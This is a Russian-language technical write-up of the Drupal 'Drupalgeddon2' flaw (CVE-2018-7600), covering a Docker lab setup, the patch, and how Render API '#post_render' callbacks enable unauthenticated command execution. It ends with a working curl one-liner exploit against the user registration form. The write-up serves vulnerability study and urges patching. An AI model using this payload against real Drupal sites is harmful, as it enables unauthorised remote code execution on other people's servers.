Вот и настал час второго «Друпалгеддона»! Это новая версия наделавшей в свое время много шума критической уязвимости в одной из самых популярных CMS. Найденная брешь позволяет абсолютно любому незарегистрированному пользователю всего одним запросом выполнять любые команды на целевой системе.
Проблему обостряет то, что под угрозой оказались все наиболее актуальные версии приложения веток 7.х и 8.х, вплоть до 8.5.0. Сложно даже представить, сколько потенциально уязвимых целей доступно в данный момент злоумышленникам.
Уязвимость получила идентификатор CVE-2018-7600 и высочайший статус опасности.
Разработчики выпустили патч еще 28 марта 2018 года, однако до 12 апреля в паблике не наблюдалось ссылок на работающий PoC или деталей проблемы. Стоит отдать разработчикам должное за патч, который был очень лаконичным и не давал прямого ответа на вопрос, в каком месте стоит искать проблему.
Теперь, когда маски сброшены, давай посмотрим на уязвимость и сам эксплоит во всей красе.
Протестировать уязвимость несложно. Само приложение очень просто устанавливается, а кроме того, у Drupal имеется официальный репозиторий на Docker Hub, и развернуть контейнер с нужной версией CMS можно буквально в пару команд.
Развернем сначала копию MySQL, хотя можно и без него, Drupal поддерживает работу с SQLite.
$ docker run -d -e MYSQL_USER="drupal" -e MYSQL_PASSWORD="Q0b6EFCVW4" -e MYSQL_DATABASE="drupal" --rm --name=mysql --hostname=mysql mysql/mysql-server
Теперь сам контейнер с CMS. Я решил использовать последнюю уязвимую версию — 8.5.0.
$ docker run -d --rm -p80:80 -p9000:9000 --link=mysql --name=drupalvh --hostname=drupalvh drupal:8.5.0
Дальше открываем в браузере адрес твоего докера и переходим к установке.
Откидываемся на спинку кресла и ждем завершения инсталляции.
Наслаждаемся готовым к исследованию приложением. Если хочешь возиться с отладкой, как я, то можно установить Xdebug. Делается это тоже буквально парой команд.
$ pecl install xdebug $ echo "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20170718/xdebug.so" > /usr/local/etc/php/conf.d/php-xdebug.ini $ echo "xdebug.remote_enable=1" >> /usr/local/etc/php/conf.d/php-xdebug.ini $ echo "xdebug.remote_host=192.168.99.1" >> /usr/local/etc/php/conf.d/php-xdebug.ini
Не забудь поменять IP-адрес 192.168.99.1 на свой. Дальше перезагружаем конфиги Apache.
$ service apache2 reload
В качестве отладчика я использую JetBrains PhpStorm.
Для начала обратимся к патчу, который исправляет уязвимость.
Здорово, не правда ли? Разработчики просто добавили фильтрацию всех отправляемых юзером данных.
И все же кое-какой свет на уязвимость это исправление может пролить. Посмотрим на сам код процедуры, которая отвечает за проверку. Данные передаются в метод sanitize
, который вызывает stripDangerousValues
.
545: public function preHandle(Request $request) { 546: // Sanitize the request. 547: $request = RequestSanitizer::sanitize( 548: $request, 549: (array) Settings::get(RequestSanitizer::SANITIZE_WHITELIST, []),
40: public static function sanitize(Request $request, $whitelist, $log_sanitized_keys = FALSE) { ... 44: $request->query->replace(static::stripDangerousValues($request->query->all(), $whitelist, $get_sanitized_keys));
А этот метод, в свою очередь, уже выполняет проверку всех переданных параметров. Если в них присутствуют пустые, начинающиеся с символа решетки или отсутствующие в списке разрешенных, то они отбрасываются.
84: protected static function stripDangerousValues($input, array $whitelist, array &$sanitized_keys) { 85: if (is_array($input)) { 86: foreach ($input as $key => $value) { 87: if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) { 88: unset($input[$key]); 89: $sanitized_keys[] = $key; 90: } 91: else { 92: $input[$key] = static::stripDangerousValues($input[$key], $whitelist, $sanitized_keys); 93: } 94: } 95: } 96: return $input; 97: }
Что же это за волшебные параметры, которые начинаются с решетки? А это, мой друг, специальные плейсхолдеры для Drupal Render API. Этот API был введен с седьмой версии CMS и используется для превращения структурированных данных в готовый HTML.
Данные, нужные при создании запрашиваемой страницы и отдельных ее частей, хранятся в виде особых массивов до этапа рендеринга. Это предоставляет широкие возможности для изменения разметки или самого содержания страницы в любой момент на этапе загрузки или после него.
В Render API присутствует такое понятие, как рендерные массивы (Renderable Arrays). Это массивы с особой структурой, в которых хранится информация и то, каким образом данные нужно представить (отрендерить) для пользователя. Ключи с символом #
— это как раз атрибуты для интерпретатора, который выполняет конвертацию.
Существует некоторое количество предопределенных типов этих атрибутов, например page
, form
, html_tag
, value
, markup
и тому подобные. Большинство из них описаны в официальной документации по Forms API.
В контексте нашей уязвимости интересны атрибуты, которые при обработке вызывают call_user_func
. Например, к таким относятся #pre_render
, #post_render
, #access_callback
, #submit
, #lazy_builder
, #validate
. Для демонстрации эксплоита я воспользуюсь #post_render
. Обработка этого элемента описана в файле Renderer.php
.
500: if (isset($elements['#post_render'])) { 501: foreach ($elements['#post_render'] as $callable) { 502: if (is_string($callable) && strpos($callable, '::') === FALSE) { 503: $callable = $this->controllerResolver->getControllerFromDefinition($callable); 504: } 505: $elements['#children'] = call_user_func($callable, $elements['#children'], $elements); 506: } 507: }
Теперь нам нужно найти такое место, где пользовательские данные попадают в функцию render
, чтобы внедрить этот атрибут с нужными параметрами. Причем сосредоточиться стоит на тех местах, которые доступны неавторизованному пользователю, так как известно, что для эксплуатации никаких прав не нужно.
182: public function render(&$elements, $is_root_call = FALSE) { ... 194: try { 195: return $this->doRender($elements, $is_root_call); ... 207: protected function doRender(&$elements, $is_root_call = FALSE) {
Drupal огромен, и поиск таких мест может занять продолжительное время, поэтому не буду тебя мучить (к тому же ребята из Check Point уже сделали всю работу за нас). Во время регистрации нового пользователя есть возможность сразу же загрузить аватар.
Давай загрузим какую-нибудь картинку, предварительно пустив трафик через прокси.
За обработку этого запроса отвечает метод uploadAjaxCallback
класса ManagedFile.
172: public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
Обрати внимание на параметр element_parents
в запросе.
element_parents=user_picture/widget/0
Он используется для дальнейшей обработки.
174: $renderer = Drupal::service('renderer'); 175: 176: $form_parents = explode('/', $request->query->get('element_parents'));
Переданные данные разбиваются по слешу и используются при получении данных из основной формы с помощью NestedArray::getValue
.
179: $form = NestedArray::getValue($form, $form_parents);
69: public static function &getValue(array &$array, array $parents, &$key_exists = NULL) { 70: $ref = &$array; 71: foreach ($parents as $parent) { 72: if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) { 73: $ref = &$ref[$parent]; 74: } 75: else { 76: $key_exists = FALSE; 77: $null = NULL; 78: return $null; 79: } 80: } 81: $key_exists = TRUE; 82: return $ref; 83: }
А затем на основе полученных данных выполняется рендеринг полученного массива.
193: $output = $renderer->renderRoot($form);
129: public function renderRoot(&$elements) { 130: // Disallow calling ::renderRoot() from within another ::renderRoot() call. 131: if ($this->isRenderingRoot) { ... 138: $output = $this->executeInRenderContext(new RenderContext(), function () use (&$elements) { 139: return $this->render($elements, TRUE); 140: });
Теперь давай воспользуемся отладчиком и проанализируем, что происходит. Поставим прерывание на вызов NestedArray::getValue
.
176: $form_parents = explode('/', $request->query->get('element_parents')); ... 179: $form = NestedArray::getValue($form, $form_parents); # вы здесь
Массив $form_parents
, полученный из параметра element_parents
, служит своеобразным путем к нужному элементу в $form
для последующего рендеринга. В моем случае он выглядит как $form["user_picture"]["widget"][0]
. Ключи разделяются слешами, прямо как в настоящих путях Unix.
Никто тебе не мешает указать свой путь до нужного элемента, осталось его только найти. И обрати внимание на те поля, которые можно ввести в форме регистрации пользователя, а именно на mail
и name
. Параметр name
фильтрует пользовательские данные, а вот mail
лоялен к таким делам. Попробуем переделать этот параметр в массив и передать в качестве ключа строку, начинающуюся с решетки.
$form => Array ( ... [account] => Array ( [#type] => container [#weight] => -10 [mail] => Array ( [#type] => email [#title] => DrupalCoreStringTranslationTranslatableMarkup Object ... [#name] => mail [#value] => Array ( [#test] => ) ... ) ) )
Теперь, если мы укажем в element_parents
значение account/mail/#value
и поставим прерывание после того, как отработает метод NestedArray::getValue
, получим в результате обновленный $form
с нашими параметрами.
Теперь вспоминаем волшебный атрибут #post_render
и делаем массив-пейлоад на его основе. Сама функция для выполнения указывается в качестве первого элемента массива.
mail[#post_render][] = 'exec'
Дальше нужно указать параметры для запуска. Посмотри на вызов call_user_func
, и увидишь, что они берутся из элемента #children
.
500: if (isset($elements['#post_render'])) { 501: foreach ($elements['#post_render'] as $callable) { ... 505: $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
Поэтому туда их и запишем.
mail[#children] = 'uname -a'
Теперь отправим получившуюся форму.
И результат не заставит себя ждать! ????
Теперь выкинем все лишнее из запроса и оформим это в виде однострочной команды curl.
$ curl -s -X 'POST' --data 'mail[%23post_render][]=exec&mail[%23children]=pwd&form_id=user_register_form' 'http://drupal.vh/user/register?element_parents=account/mail/%23value&ajax_form=1'
Элегантно и просто!
Ну как тут можно подытожить? Первые звоночки об этой проблеме прозвучали еще в конце прошлого года, когда исследователь под ником WhiteWinterWolf опубликовал пост у себя в блоге о еще одном возможном сценарии эксплуатации Drupalgeddon. Напомню, что в оригинале эта уязвимость позволяла неавторизованному пользователю выполнить SQL-инъекцию. WhiteWinterWolf же показал на ее примере, как ее можно превратить в удаленное выполнение команд при помощи манипуляции все с теми же плейсхолдерами в массиве.
Проблема критична для всех владельцев сайтов на Drupal, им стоит приготовиться к массовым атакам. Наверняка злоумышленники уже взяли на вооружение эксплоит, поэтому в срочном порядке пишем правила для WAF’ов и накатываем патчи. Кстати, если не хочешь обновляться, в официальном анонсе разработчики выложили патчи для всех актуальных веток продукта. Хотя я все же настоятельно рекомендую поставить последние версии CMS. Для ветки 7.x это Drupal 7.58, а для 8.x — Drupal 8.5.1. Там уязвимость исправлена.
Или опять нет?
Читайте также
Последние новости